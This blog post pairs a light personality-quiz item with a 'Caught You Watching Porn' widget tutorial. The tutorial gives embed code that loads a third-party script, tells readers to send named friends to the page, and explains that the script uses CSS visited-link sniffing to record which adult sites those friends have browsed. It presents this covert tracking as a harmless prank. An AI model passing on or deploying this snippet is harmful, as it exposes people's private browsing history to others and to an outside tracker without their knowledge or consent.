QUICK: What’s The Pig Say About You?

This might be the funnest personality test ever. All you’ve got to do is click over to the Draw A Pig site, draw a pig in their flash widget, the self-analyze it using a series of questions. NOTE: That is not my pig above. Mine, however, does indicate me to be “positive and optimistic”, an “emotional and naive” risk-taker, and “extremely sexual”. All that from a simple scribble. Not bad. Bang one out for yourself and, if the truth isn’t to hard to face, let us know how it worked in the comments. It’s all the fun of therapy, with none of the tap-dancing around the bill.

NERD OUT: Caught You Watching Porn

Awe man, I’m not entirely sure how to explain this, so we’ll start with the step by step.

Step 1 – Copy the code below onto your website or bog:

<table><tr><td>
<script src=”http://caughthemwatching.com/widget.php”></script>
</td></tr>
<tr><td><small>Powered By <a href=”http://theirtoys.com”>TheirToys.com</a></small></td></tr>
<tr><td><small>Get Your Own<a href=”http://theirtoys.com/catch.php”>Adult Tracker</a></small></td></tr>
</table>

Step 2 – Send your friends to the web site or blog where you’ve now hosted the “Caught You Watching Porn Widget.” Their porn history will be captured in the widget. If you want their name to show up next to what they’re guilty for, add a # symbol, followed by their name to the web address you tell them to visit. See Below.

Step 3 – See what porn sites your friends have been to by looking at the widget you put on your blog or website. If you did step 2 correctly, you should see the name of the person next to the sites they are guilty of visiting, like the widget below.

I’m not sure if I didn’t actually put the widget here because I’m having trouble wrapping my mind around this, or because of the deep-horror I would feel if I thought my history could even kinda-sorta be seen by others. Still, it’s a fun trick, one that plays on CSS’s willingness to change the color of links to sites you’ve visited (the widget has hundreds of porn links hidden from view, then watches which light up when you visit). For more info, check the instructional video after the jump. How fun is that?
